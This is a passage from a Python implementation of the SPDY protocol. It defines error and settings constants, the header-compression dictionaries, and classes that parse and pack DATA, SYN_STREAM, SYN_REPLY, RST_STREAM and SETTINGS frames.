PRI_HIGHEST: 7\n }\n}\n\n\ndef _priority(pri, version):\n if isinstance(pri, numbers.Number):\n return pri\n\n return PRIORITIES[version][str(pri)]\n\nERR_PROTOCOL_ERROR = 1 # This is a generic error, and should only be used if a more specific error is not available.\nERR_INVALID_STREAM = 2 # This is returned when a frame is received for a stream which is not active.\nERR_REFUSED_STREAM = 3 # Indicates that the stream was refused before any processing has been done on the stream.\nERR_UNSUPPORTED_VERSION = 4 # Indicates that the recipient of a stream does not support the SPDY version requested.\nERR_CANCEL = 5 # Used by the creator of a stream to indicate that the stream is no longer needed.\nERR_INTERNAL_ERROR = 6 # This is a generic error which can be used when the implementation has internally failed,\n # not due to anything in the protocol.\nERR_FLOW_CONTROL_ERROR = 7 # The endpoint detected that its peer violated the flow control protocol.\nERR_STREAM_IN_USE = 8 # The endpoint received a SYN_REPLY for a stream already open.\nERR_STREAM_ALREADY_CLOSED = 9 # The endpoint received a data or SYN_REPLY frame for a stream which is half closed.\nERR_INVALID_CREDENTIALS = 10 # The server received a request for a resource whose origin does not have valid credentials in the client certificate vector.\nERR_FRAME_TOO_LARGE = 11 # The endpoint received a frame which this implementation could not support.\n # If FRAME_TOO_LARGE is sent for a SYN_STREAM, HEADERS, or SYN_REPLY frame\n # without fully processing the compressed portion of those frames,\n # then the compression state will be out-of-sync with the other endpoint.\n # In this case, senders of FRAME_TOO_LARGE MUST close the session.\n\nFLAG_FIN = 0x01 # marks this frame as the last frame to be transmitted on this stream\n # and puts the sender in the half-closed (Section 2.3.6) state.\nFLAG_UNIDIRECTIONAL = 0x02 # a stream created with this flag puts the recipient in the half-closed (Section 2.3.6) state.\n\nFLAG_SETTINGS_CLEAR_PREVIOUSLY_PERSISTED_SETTINGS = 0x01 # When set, the client should clear any previously persisted SETTINGS ID/Value pairs.\n\nSETTINGS_UPLOAD_BANDWIDTH = 1 # allows the sender to send its expected upload bandwidth on this channel.\nSETTINGS_DOWNLOAD_BANDWIDTH = 2 # allows the sender to send its expected download bandwidth on this channel.\nSETTINGS_ROUND_TRIP_TIME = 3 # allows the sender to send its expected round-trip-time on this channel.\nSETTINGS_MAX_CONCURRENT_STREAMS = 4 # allows the sender to inform the remote endpoint the maximum number of concurrent streams which it will allow.\nSETTINGS_CURRENT_CWND = 5 # allows the sender to inform the remote endpoint of the current CWND value.\nSETTINGS_DOWNLOAD_RETRANS_RATE = 6 # downstream byte retransmission rate in percentage\nSETTINGS_INITIAL_WINDOW_SIZE = 7 # initial window size in bytes\nSETTINGS_CLIENT_CERTIFICATE_VECTOR_SIZE = 8 # allows the server to inform the client if the new size of the client certificate vector.\n\nFLAG_SETTINGS_PERSIST_VALUE = 0x01\nFLAG_SETTINGS_PERSISTED = 0x02\n\nIGNORE_ALL_STREAMS = 0\n\nGOAWAY_STATUS_OK = 0 # This is a normal session teardown.\nGOAWAY_STATUS_PROTOCOL_ERROR = 1 # This is a generic error, and should only be used if a more specific error is not available.\nGOAWAY_STATUS_INTERNAL_ERROR = 2 # This is a generic error which can be used when the implementation has internally failed, not due to anything in the protocol.\n\nWINDOW_SIZE_MAX = 0x7fffffff\nWINDOW_SIZE_DEFAULT = 65536\n\nCERTIFICATE_VECTOR_DEFAULT = 8\n\nHEADER_ZLIB_DICT_2 =\\\nb\"optionsgetheadpostputdeletetraceacceptaccept-charsetaccept-encodingaccept-\"\\\nb\"languageauthorizationexpectfromhostif-modified-sinceif-matchif-none-matchi\"\\\nb\"f-rangeif-unmodifiedsincemax-forwardsproxy-authorizationrangerefererteuser\"\\\nb\"-agent10010120020120220320420520630030130230330430530630740040140240340440\"\\\nb\"5406407408409410411412413414415416417500501502503504505accept-rangesageeta\"\\\nb\"glocationproxy-authenticatepublicretry-afterservervarywarningwww-authentic\"\\\nb\"ateallowcontent-basecontent-encodingcache-controlconnectiondatetrailertran\"\\\nb\"sfer-encodingupgradeviawarningcontent-languagecontent-lengthcontent-locati\"\\\nb\"oncontent-md5content-rangecontent-typeetagexpireslast-modifiedset-cookieMo\"\\\nb\"ndayTuesdayWednesdayThursdayFridaySaturdaySundayJanFebMarAprMayJunJulAugSe\"\\\nb\"pOctNovDecchunkedtext/htmlimage/pngimage/jpgimage/gifapplication/xmlapplic\"\\\nb\"ation/xhtmltext/plainpublicmax-agecharset=iso-8859-1utf-8gzipdeflateHTTP/1\"\\\nb\".1statusversionurl\\0\"\n\nHEADER_ZLIB_DICT_3 =\\\nb\"\\x00\\x00\\x00\\x07\\x6f\\x70\\x74\\x69\\x6f\\x6e\\x73\\x00\\x00\\x00\\x04\\x68\"\\\nb\"\\x65\\x61\\x64\\x00\\x00\\x00\\x04\\x70\\x6f\\x73\\x74\\x00\\x00\\x00\\x03\\x70\"\\\nb\"\\x75\\x74\\x00\\x00\\x00\\x06\\x64\\x65\\x6c\\x65\\x74\\x65\\x00\\x00\\x00\\x05\"\\\nb\"\\x74\\x72\\x61\\x63\\x65\\x00\\x00\\x00\\x06\\x61\\x63\\x63\\x65\\x70\\x74\\x00\"\\\nb\"\\x00\\x00\\x0e\\x61\\x63\\x63\\x65\\x70\\x74\\x2d\\x63\\x68\\x61\\x72\\x73\\x65\"\\\nb\"\\x74\\x00\\x00\\x00\\x0f\\x61\\x63\\x63\\x65\\x70\\x74\\x2d\\x65\\x6e\\x63\\x6f\"\\\nb\"\\x64\\x69\\x6e\\x67\\x00\\x00\\x00\\x0f\\x61\\x63\\x63\\x65\\x70\\x74\\x2d\\x6c\"\\\nb\"\\x61\\x6e\\x67\\x75\\x61\\x67\\x65\\x00\\x00\\x00\\x0d\\x61\\x63\\x63\\x65\\x70\"\\\nb\"\\x74\\x2d\\x72\\x61\\x6e\\x67\\x65\\x73\\x00\\x00\\x00\\x03\\x61\\x67\\x65\\x00\"\\\nb\"\\x00\\x00\\x05\\x61\\x6c\\x6c\\x6f\\x77\\x00\\x00\\x00\\x0d\\x61\\x75\\x74\\x68\"\\\nb\"\\x6f\\x72\\x69\\x7a\\x61\\x74\\x69\\x6f\\x6e\\x00\\x00\\x00\\x0d\\x63\\x61\\x63\"\\\nb\"\\x68\\x65\\x2d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x00\\x00\\x00\\x0a\\x63\\x6f\"\\\nb\"\\x6e\\x6e\\x65\\x63\\x74\\x69\\x6f\\x6e\\x00\\x00\\x00\\x0c\\x63\\x6f\\x6e\\x74\"\\\nb\"\\x65\\x6e\\x74\\x2d\\x62\\x61\\x73\\x65\\x00\\x00\\x00\\x10\\x63\\x6f\\x6e\\x74\"\\\nb\"\\x65\\x6e\\x74\\x2d\\x65\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x00\\x00\\x00\\x10\"\\\nb\"\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x6c\\x61\\x6e\\x67\\x75\\x61\\x67\\x65\"\\\nb\"\\x00\\x00\\x00\\x0e\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x6c\\x65\\x6e\\x67\"\\\nb\"\\x74\\x68\\x00\\x00\\x00\\x10\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x2d\\x6c\\x6f\"\\\nb\"\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x00\\x00\\x0b\\x63\\x6f\\x6e\\x74\\x65\\x6e\"\\\nb\"\\x74\\x2d\\x6d\\x64\\x35\\x00\\x00\\x00\\x0d\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\"\\\nb\"\\x2d\\x72\\x61\\x6e\\x67\\x65\\x00\\x00\\x00\\x0c\\x63\\x6f\\x6e\\x74\\x65\\x6e\"\\\nb\"\\x74\\x2d\\x74\\x79\\x70\\x65\\x00\\x00\\x00\\x04\\x64\\x61\\x74\\x65\\x00\\x00\"\\\nb\"\\x00\\x04\\x65\\x74\\x61\\x67\\x00\\x00\\x00\\x06\\x65\\x78\\x70\\x65\\x63\\x74\"\\\nb\"\\x00\\x00\\x00\\x07\\x65\\x78\\x70\\x69\\x72\\x65\\x73\\x00\\x00\\x00\\x04\\x66\"\\\nb\"\\x72\\x6f\\x6d\\x00\\x00\\x00\\x04\\x68\\x6f\\x73\\x74\\x00\\x00\\x00\\x08\\x69\"\\\nb\"\\x66\\x2d\\x6d\\x61\\x74\\x63\\x68\\x00\\x00\\x00\\x11\\x69\\x66\\x2d\\x6d\\x6f\"\\\nb\"\\x64\\x69\\x66\\x69\\x65\\x64\\x2d\\x73\\x69\\x6e\\x63\\x65\\x00\\x00\\x00\\x0d\"\\\nb\"\\x69\\x66\\x2d\\x6e\\x6f\\x6e\\x65\\x2d\\x6d\\x61\\x74\\x63\\x68\\x00\\x00\\x00\"\\\nb\"\\x08\\x69\\x66\\x2d\\x72\\x61\\x6e\\x67\\x65\\x00\\x00\\x00\\x13\\x69\\x66\\x2d\"\\\nb\"\\x75\\x6e\\x6d\\x6f\\x64\\x69\\x66\\x69\\x65\\x64\\x2d\\x73\\x69\\x6e\\x63\\x65\"\\\nb\"\\x00\\x00\\x00\\x0d\\x6c\\x61\\x73\\x74\\x2d\\x6d\\x6f\\x64\\x69\\x66\\x69\\x65\"\\\nb\"\\x64\\x00\\x00\\x00\\x08\\x6c\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x00\\x00\\x00\"\\\nb\"\\x0c\\x6d\\x61\\x78\\x2d\\x66\\x6f\\x72\\x77\\x61\\x72\\x64\\x73\\x00\\x00\\x00\"\\\nb\"\\x06\\x70\\x72\\x61\\x67\\x6d\\x61\\x00\\x00\\x00\\x12\\x70\\x72\\x6f\\x78\\x79\"\\\nb\"\\x2d\\x61\\x75\\x74\\x68\\x65\\x6e\\x74\\x69\\x63\\x61\\x74\\x65\\x00\\x00\\x00\"\\\nb\"\\x13\\x70\\x72\\x6f\\x78\\x79\\x2d\\x61\\x75\\x74\\x68\\x6f\\x72\\x69\\x7a\\x61\"\\\nb\"\\x74\\x69\\x6f\\x6e\\x00\\x00\\x00\\x05\\x72\\x61\\x6e\\x67\\x65\\x00\\x00\\x00\"\\\nb\"\\x07\\x72\\x65\\x66\\x65\\x72\\x65\\x72\\x00\\x00\\x00\\x0b\\x72\\x65\\x74\\x72\"\\\nb\"\\x79\\x2d\\x61\\x66\\x74\\x65\\x72\\x00\\x00\\x00\\x06\\x73\\x65\\x72\\x76\\x65\"\\\nb\"\\x72\\x00\\x00\\x00\\x02\\x74\\x65\\x00\\x00\\x00\\x07\\x74\\x72\\x61\\x69\\x6c\"\\\nb\"\\x65\\x72\\x00\\x00\\x00\\x11\\x74\\x72\\x61\\x6e\\x73\\x66\\x65\\x72\\x2d\\x65\"\\\nb\"\\x6e\\x63\\x6f\\x64\\x69\\x6e\\x67\\x00\\x00\\x00\\x07\\x75\\x70\\x67\\x72\\x61\"\\\nb\"\\x64\\x65\\x00\\x00\\x00\\x0a\\x75\\x73\\x65\\x72\\x2d\\x61\\x67\\x65\\x6e\\x74\"\\\nb\"\\x00\\x00\\x00\\x04\\x76\\x61\\x72\\x79\\x00\\x00\\x00\\x03\\x76\\x69\\x61\\x00\"\\\nb\"\\x00\\x00\\x07\\x77\\x61\\x72\\x6e\\x69\\x6e\\x67\\x00\\x00\\x00\\x10\\x77\\x77\"\\\nb\"\\x77\\x2d\\x61\\x75\\x74\\x68\\x65\\x6e\\x74\\x69\\x63\\x61\\x74\\x65\\x00\\x00\"\\\nb\"\\x00\\x06\\x6d\\x65\\x74\\x68\\x6f\\x64\\x00\\x00\\x00\\x03\\x67\\x65\\x74\\x00\"\\\nb\"\\x00\\x00\\x06\\x73\\x74\\x61\\x74\\x75\\x73\\x00\\x00\\x00\\x06\\x32\\x30\\x30\"\\\nb\"\\x20\\x4f\\x4b\\x00\\x00\\x00\\x07\\x76\\x65\\x72\\x73\\x69\\x6f\\x6e\\x00\\x00\"\\\nb\"\\x00\\x08\\x48\\x54\\x54\\x50\\x2f\\x31\\x2e\\x31\\x00\\x00\\x00\\x03\\x75\\x72\"\\\nb\"\\x6c\\x00\\x00\\x00\\x06\\x70\\x75\\x62\\x6c\\x69\\x63\\x00\\x00\\x00\\x0a\\x73\"\\\nb\"\\x65\\x74\\x2d\\x63\\x6f\\x6f\\x6b\\x69\\x65\\x00\\x00\\x00\\x0a\\x6b\\x65\\x65\"\\\nb\"\\x70\\x2d\\x61\\x6c\\x69\\x76\\x65\\x00\\x00\\x00\\x06\\x6f\\x72\\x69\\x67\\x69\"\\\nb\"\\x6e\\x31\\x30\\x30\\x31\\x30\\x31\\x32\\x30\\x31\\x32\\x30\\x32\\x32\\x30\\x35\"\\\nb\"\\x32\\x30\\x36\\x33\\x30\\x30\\x33\\x30\\x32\\x33\\x30\\x33\\x33\\x30\\x34\\x33\"\\\nb\"\\x30\\x35\\x33\\x30\\x36\\x33\\x30\\x37\\x34\\x30\\x32\\x34\\x30\\x35\\x34\\x30\"\\\nb\"\\x36\\x34\\x30\\x37\\x34\\x30\\x38\\x34\\x30\\x39\\x34\\x31\\x30\\x34\\x31\\x31\"\\\nb\"\\x34\\x31\\x32\\x34\\x31\\x33\\x34\\x31\\x34\\x34\\x31\\x35\\x34\\x31\\x36\\x34\"\\\nb\"\\x31\\x37\\x35\\x30\\x32\\x35\\x30\\x34\\x35\\x30\\x35\\x32\\x30\\x33\\x20\\x4e\"\\\nb\"\\x6f\\x6e\\x2d\\x41\\x75\\x74\\x68\\x6f\\x72\\x69\\x74\\x61\\x74\\x69\\x76\\x65\"\\\nb\"\\x20\\x49\\x6e\\x66\\x6f\\x72\\x6d\\x61\\x74\\x69\\x6f\\x6e\\x32\\x30\\x34\\x20\"\\\nb\"\\x4e\\x6f\\x20\\x43\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x33\\x30\\x31\\x20\\x4d\\x6f\"\\\nb\"\\x76\\x65\\x64\\x20\\x50\\x65\\x72\\x6d\\x61\\x6e\\x65\\x6e\\x74\\x6c\\x79\\x34\"\\\nb\"\\x30\\x30\\x20\\x42\\x61\\x64\\x20\\x52\\x65\\x71\\x75\\x65\\x73\\x74\\x34\\x30\"\\\nb\"\\x31\\x20\\x55\\x6e\\x61\\x75\\x74\\x68\\x6f\\x72\\x69\\x7a\\x65\\x64\\x34\\x30\"\\\nb\"\\x33\\x20\\x46\\x6f\\x72\\x62\\x69\\x64\\x64\\x65\\x6e\\x34\\x30\\x34\\x20\\x4e\"\\\nb\"\\x6f\\x74\\x20\\x46\\x6f\\x75\\x6e\\x64\\x35\\x30\\x30\\x20\\x49\\x6e\\x74\\x65\"\\\nb\"\\x72\\x6e\\x61\\x6c\\x20\\x53\\x65\\x72\\x76\\x65\\x72\\x20\\x45\\x72\\x72\\x6f\"\\\nb\"\\x72\\x35\\x30\\x31\\x20\\x4e\\x6f\\x74\\x20\\x49\\x6d\\x70\\x6c\\x65\\x6d\\x65\"\\\nb\"\\x6e\\x74\\x65\\x64\\x35\\x30\\x33\\x20\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x20\"\\\nb\"\\x55\\x6e\\x61\\x76\\x61\\x69\\x6c\\x61\\x62\\x6c\\x65\\x4a\\x61\\x6e\\x20\\x46\"\\\nb\"\\x65\\x62\\x20\\x4d\\x61\\x72\\x20\\x41\\x70\\x72\\x20\\x4d\\x61\\x79\\x20\\x4a\"\\\nb\"\\x75\\x6e\\x20\\x4a\\x75\\x6c\\x20\\x41\\x75\\x67\\x20\\x53\\x65\\x70\\x74\\x20\"\\\nb\"\\x4f\\x63\\x74\\x20\\x4e\\x6f\\x76\\x20\\x44\\x65\\x63\\x20\\x30\\x30\\x3a\\x30\"\\\nb\"\\x30\\x3a\\x30\\x30\\x20\\x4d\\x6f\\x6e\\x2c\\x20\\x54\\x75\\x65\\x2c\\x20\\x57\"\\\nb\"\\x65\\x64\\x2c\\x20\\x54\\x68\\x75\\x2c\\x20\\x46\\x72\\x69\\x2c\\x20\\x53\\x61\"\\\nb\"\\x74\\x2c\\x20\\x53\\x75\\x6e\\x2c\\x20\\x47\\x4d\\x54\\x63\\x68\\x75\\x6e\\x6b\"\\\nb\"\\x65\\x64\\x2c\\x74\\x65\\x78\\x74\\x2f\\x68\\x74\\x6d\\x6c\\x2c\\x69\\x6d\\x61\"\\\nb\"\\x67\\x65\\x2f\\x70\\x6e\\x67\\x2c\\x69\\x6d\\x61\\x67\\x65\\x2f\\x6a\\x70\\x67\"\\\nb\"\\x2c\\x69\\x6d\\x61\\x67\\x65\\x2f\\x67\\x69\\x66\\x2c\\x61\\x70\\x70\\x6c\\x69\"\\\nb\"\\x63\\x61\\x74\\x69\\x6f\\x6e\\x2f\\x78\\x6d\\x6c\\x2c\\x61\\x70\\x70\\x6c\\x69\"\\\nb\"\\x63\\x61\\x74\\x69\\x6f\\x6e\\x2f\\x78\\x68\\x74\\x6d\\x6c\\x2b\\x78\\x6d\\x6c\"\\\nb\"\\x2c\\x74\\x65\\x78\\x74\\x2f\\x70\\x6c\\x61\\x69\\x6e\\x2c\\x74\\x65\\x78\\x74\"\\\nb\"\\x2f\\x6a\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x2c\\x70\\x75\\x62\\x6c\"\\\nb\"\\x69\\x63\\x70\\x72\\x69\\x76\\x61\\x74\\x65\\x6d\\x61\\x78\\x2d\\x61\\x67\\x65\"\\\nb\"\\x3d\\x67\\x7a\\x69\\x70\\x2c\\x64\\x65\\x66\\x6c\\x61\\x74\\x65\\x2c\\x73\\x64\"\\\nb\"\\x63\\x68\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3d\\x75\\x74\\x66\\x2d\\x38\\x63\"\\\nb\"\\x68\\x61\\x72\\x73\\x65\\x74\\x3d\\x69\\x73\\x6f\\x2d\\x38\\x38\\x35\\x39\\x2d\"\\\nb\"\\x31\\x2c\\x75\\x74\\x66\\x2d\\x2c\\x2a\\x2c\\x65\\x6e\\x71\\x3d\\x30\\x2e\"\n\n\ndef _bitmask(length, split, mask=0):\n invert = 1 if mask == 0 else 0\n b = str(mask) * split + str(invert) * (length-split)\n return int(b, 2)\n\n_first_bit = _bitmask(8, 1, 1)\n_first_2_bits = _bitmask(8, 2, 1)\n_first_3_bits = _bitmask(8, 3, 1)\n_last_15_bits = _bitmask(16, 1, 0)\n_last_31_bits = _bitmask(32, 1, 0)\n\n\ndef _parse_ushort(data):\n return unpack(\">H\", data)[0]\n\n\ndef _parse_uint(data):\n return unpack(\">I\", data)[0]\n\n\ndef _pack_ushort(num):\n return pack(\">H\", num)\n\n\ndef _pack_uint(num):\n return pack(\">I\", num)\n\n\nclass SPDYProtocolError(Exception):\n def __init__(self, err_msg, status_code=None):\n super(SPDYProtocolError, self).__init__(err_msg)\n\n self.status_code = status_code\n\n\nclass SPDYStream(object):\n def __init__(self, conn, id, pri=None, headers=None, finished=True):\n self.conn = conn\n self.id = id\n self.priority = _priority(pri, conn.version)\n self.headers = headers\n self.finished = finished\n\n self.data = \"\"\n self.frames = []\n self.window_size = conn.get_setting(SETTINGS_INITIAL_WINDOW_SIZE)\n\n def close(self):\n self.data = None\n\n self.conn.close_stream(self)\n\n def recv(self, chunk, fin):\n self.data += chunk\n\n if fin:\n self.finished = True\n self.conn.parse_stream(self)\n\n def send(self, frame, callback=None):\n self.frames.append((frame, callback))\n\n self.conn.send_next_frame()\n\n\nclass Frame(object):\n def __init__(self, conn, flags):\n self.conn = conn\n self.flags = flags\n\n @property\n def fin(self):\n return FLAG_FIN == (self.flags & FLAG_FIN)\n\n @property\n def unidirectional(self):\n return FLAG_UNIDIRECTIONAL == (self.flags & FLAG_UNIDIRECTIONAL)\n\n def _on_body(self, data):\n raise NotImplementedError()\n\n\nclass ControlFrame(Frame):\n \"\"\"\n +----------------------------------+\n |C| Version(15bits) | Type(16bits) |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n | Data |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags, frame_type):\n super(ControlFrame, self).__init__(conn, flags)\n\n self.frame_type = frame_type\n\n def _parse_headers(self, compressed_chunk):\n headers = {}\n\n chunk = self.conn.inflater.decompress(compressed_chunk)\n\n len_size = 4 if self.conn.version >= 3 else 2\n\n _parse_num = _parse_uint if self.conn.version >= 3 else _parse_ushort\n\n num_pairs = _parse_num(chunk[0:len_size])\n\n pos = len_size\n\n for _ in range(num_pairs):\n len = _parse_num(chunk[pos:pos + len_size])\n\n if len == 0:\n raise SPDYProtocolError(\"The length of header name must be greater than zero\", ERR_PROTOCOL_ERROR)\n\n pos += len_size\n\n name = chunk[pos:pos + len].decode(self.conn.header_encoding)\n pos += len\n\n len = _parse_num(chunk[pos:pos + len_size])\n pos += len_size\n\n values = chunk[pos:pos + len].decode(self.conn.header_encoding).split('\\0') if len else []\n pos += len\n\n headers[name] = values\n\n return headers\n\n def _pack_headers(self, headers):\n _pack_num = _pack_uint if self.conn.version >= 3 else _pack_ushort\n\n chunk = _pack_num(len(headers))\n\n for name, value in headers:\n chunk += _pack_num(len(name)) + name + _pack_num(len(value)) + value\n\n compressed_chunk = self.conn.deflater.compress(chunk)\n\n return compressed_chunk\n\n def _pack_frame(self, chunk):\n return _pack_ushort(self.conn.version | 0x8000) + _pack_ushort(self.frame_type) + \\\n _pack_uint(self.flags << 24 | len(chunk)) + chunk\n\n\nclass DataFrame(Frame):\n \"\"\"\n +----------------------------------+\n |C| Stream-ID (31bits) |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n | Data |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags, stream_id, chunk=''):\n super(DataFrame, self).__init__(conn, flags)\n\n self.stream_id = stream_id\n self.chunk = chunk\n\n def _on_body(self, chunk):\n self.chunk = chunk\n\n stream = self.conn.streams.get(self.stream_id, None)\n\n if stream and not stream.finished:\n stream.recv(chunk, self.fin)\n\n def pack(self):\n return _pack_uint(self.stream_id) + _pack_uint(self.flags << 24 | len(self.chunk)) + self.chunk\n\n def __repr__(self):\n return \"DATA frame (stream_id=%d, flags=%d, length=%d)\" % (self.stream_id, self.flags, len(self.chunk))\n\nclass SyncStream(ControlFrame):\n \"\"\"\n The SYN_STREAM control frame allows the sender to asynchronously create a stream between the endpoints.\n\n SPDY v2\n +----------------------------------+\n |1| 2 | 1 |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n |X| Stream-ID (31bits) |\n +----------------------------------+\n |X|Associated-To-Stream-ID (31bits)|\n +----------------------------------+\n | Pri | Unused | |\n +------------------ |\n | Name/value header block |\n | ... |\n\n +------------------------------------+\n | Number of Name/Value pairs (int16) |\n +------------------------------------+\n | Length of name (int16) |\n +------------------------------------+\n | Name (string) |\n +------------------------------------+\n | Length of value (int16) |\n +------------------------------------+\n | Value (string) |\n +------------------------------------+\n | (repeats) |\n\n SDPY v3\n +------------------------------------+\n |1| version | 8 |\n +------------------------------------+\n | Flags (8) | Length (24 bits) |\n +------------------------------------+\n |X| Stream-ID (31bits) |\n +------------------------------------+\n |X| Associated-To-Stream-ID (31bits) |\n +------------------------------------+\n | Pri|Unused | Slot | |\n +-------------------+ |\n | Number of Name/Value pairs (int32) | <+\n +------------------------------------+ |\n | Length of name (int32) | | This section is the \"Name/Value\n +------------------------------------+ | Header Block\", and is compressed.\n | Name (string) | |\n +------------------------------------+ |\n | Length of value (int32) | |\n +------------------------------------+ |\n | Value (string) | |\n +------------------------------------+ |\n | (repeats) | <+\n \"\"\"\n def __init__(self, conn, flags, stream_id=0, assoc_stream_id=0, headers={}):\n super(SyncStream, self).__init__(conn, flags, TYPE_SYN_STREAM)\n\n self.stream_id = stream_id\n self.assoc_stream_id = assoc_stream_id\n self.headers = headers\n\n def _on_body(self, chunk):\n self.stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n\n if self.conn.last_good_stream_id is not None and \\\n (self.conn.last_good_stream_id == IGNORE_ALL_STREAMS or self.stream_id > self.conn.last_good_stream_id):\n spdy_log.warn(\"ignore SYN_STREAM #%d frame since the session has been closed at #%d.\",\n self.stream_id, self.conn.last_good_stream_id)\n else:\n self.assoc_stream_id = _parse_uint(chunk[4:8]) & _last_31_bits\n\n if self.conn.version >= 3:\n self.priority = (_ord(chunk[8]) & _first_3_bits) >> 5\n self.slot = _ord(chunk[9])\n else:\n self.priority = (_ord(chunk[8]) & _first_2_bits) >> 6\n self.slot = 0\n\n try:\n self.headers = self._parse_headers(chunk[10:])\n\n stream = SPDYStream(self.conn, self.stream_id, self.priority, self.headers, self.fin)\n\n self.conn.add_stream(stream)\n except SPDYProtocolError as ex:\n spdy_log.warn(\"fail to parse stream: %s\", ex.message)\n\n self.conn.reset_stream(self.stream_id, ex.status_code)\n\n def pack(self):\n chunk = _pack_uint(self.stream_id) + _pack_uint(self.assoc_stream_id)\n\n if self.conn.version >= 3:\n chunk += _pack_ushort(((self.priority & 0x7) << 5) | self.slot)\n else:\n chunk += _pack_ushort((self.priority & 0x3) << 6)\n\n chunk += self._pack_headers(self.headers)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n headers = '\\n'.join(sorted([\"\\t%s: %s\" % (key, ','.join(values)) for key, values in self.headers.items()]))\n\n return \"\"\"SYN_STREAM frame \n\\t(stream_id=%d, assoc_stream_id=%d, pri=%d, slot=%d)\n%s\"\"\" % (self.conn.version, self.flags, self.stream_id, self.assoc_stream_id, self.priority, self.slot, headers)\n\n\nclass SyncReply(ControlFrame):\n \"\"\"\n SYN_REPLY indicates the acceptance of a stream creation by the recipient of a SYN_STREAM frame.\n\n SPDY v2\n +----------------------------------+\n |1| 2 | 2 |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n |X| Stream-ID (31bits) |\n +----------------------------------+\n | Unused | |\n +---------------- |\n | Name/value header block |\n | ... |\n\n +------------------------------------+\n | Number of Name/Value pairs (int16) |\n +------------------------------------+\n | Length of name (int16) |\n +------------------------------------+\n | Name (string) |\n +------------------------------------+\n | Length of value (int16) |\n +------------------------------------+\n | Value (string) |\n +------------------------------------+\n | (repeats) |\n\n\n SPDY v3\n +------------------------------------+\n |1| version | 8 |\n +------------------------------------+\n | Flags (8) | Length (24 bits) |\n +------------------------------------+\n |X| Stream-ID (31bits) |\n +------------------------------------+\n | Number of Name/Value pairs (int32) | <+\n +------------------------------------+ |\n | Length of name (int32) | | This section is the \"Name/Value\n +------------------------------------+ | Header Block\", and is compressed.\n | Name (string) | |\n +------------------------------------+ |\n | Length of value (int32) | |\n +------------------------------------+ |\n | Value (string) | |\n +------------------------------------+ |\n | (repeats) | <+\n\n \"\"\"\n def __init__(self, conn, flags, stream_id=0, headers=[], finished=False):\n super(SyncReply, self).__init__(conn, FLAG_UNIDIRECTIONAL if finished else 0, TYPE_SYN_REPLY)\n\n self.stream_id = stream_id\n self.headers = headers\n\n def _on_body(self, chunk):\n self.stream_id = _parse_uint(chunk[0:4]) & _last_31_bits\n self.headers = self._parse_headers(chunk[4:] if self.conn.version >= 3 else chunk[6:])\n\n def pack(self):\n chunk = _pack_uint(self.stream_id) + \\\n (b'' if self.conn.version >= 3 else _pack_ushort(0)) + \\\n self._pack_headers(self.headers)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n headers = '\\n'.join(sorted([\"\\t%s: %s\" % header for header in self.headers]))\n\n return \"\"\"SYN_REPLY frame \n\\t(stream_id=%d)\n%s\"\"\" % (self.conn.version, self.flags, self.stream_id, headers)\n\n\nclass RstStream(ControlFrame):\n \"\"\"\n The RST_STREAM frame allows for abnormal termination of a stream.\n\n +----------------------------------+\n |1| version | 3 |\n +----------------------------------+\n | Flags (8) | 8 |\n +----------------------------------+\n |X| Stream-ID (31bits) |\n +----------------------------------+\n | Status code |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags, stream_id=0, status_code=0):\n super(RstStream, self).__init__(conn, flags, TYPE_RST_STREAM)\n\n self.stream_id = stream_id\n self.status_code = status_code\n\n def _on_body(self, chunk):\n assert len(chunk) == 8\n\n self.stream_id = _parse_uint(chunk[0:4])\n self.status_code = _parse_uint(chunk[4:8])\n\n stream = self.conn.streams.get(self.stream_id, None)\n\n if stream:\n stream.finished = True\n\n def pack(self):\n chunk = _pack_uint(self.stream_id) + _pack_uint(self.status_code)\n\n return self._pack_frame(chunk)\n\n def __repr__(self):\n return \"RST_STREAM frame (stream_id=%d, flags=%d, status=%d)\" % (self.stream_id, self.flags, self.status_code)\n\n\nclass Settings(ControlFrame):\n \"\"\"\n A SETTINGS frame contains a set of id/value pairs for communicating configuration data about how the two endpoints may communicate.\n\n +----------------------------------+\n |1| 2 | 4 |\n +----------------------------------+\n | Flags (8) | Length (24 bits) |\n +----------------------------------+\n | Number of entries |\n +----------------------------------+\n | ID/Value Pairs |\n | ... |\n\n Each ID/value pair is as follows:\n\n SPDY v2\n +----------------------------------+\n | ID (24 bits) | ID_Flags (8) |\n +----------------------------------+\n | Value (32 bits) |\n +----------------------------------+\n\n SPDY v3\n +----------------------------------+\n | Flags(8) | ID (24 bits) |\n +----------------------------------+\n | Value (32 bits) |\n +----------------------------------+\n \"\"\"\n def __init__(self, conn, flags=0, settings={}):\n super(Settings, self).__init__(conn, flags, TYPE_SETTINGS)\n\n self.settings = settings\n\n def _on_body(self, chunk):\n num = _parse_uint(chunk[0:4])\n pos = 4\n\n for i in range(num):\n id_and_flags = _parse_uint(chunk[pos:pos + 4])\n value = _parse_uint(chunk[pos + 4:pos + 8])\n pos += 8\n\n if self.conn.version >= 3:\n id = id_and_flags & 0xFFFFFF\n flags = id_and_flags >> 24\n else:\n id = id_and_flags >> 8\n flags = id_and_flags & 0xFF\n\n self.conn.set_setting(id, flags, value)\n self.settings[id] = (flags, value)\n\n def pack(self):\n chunk = 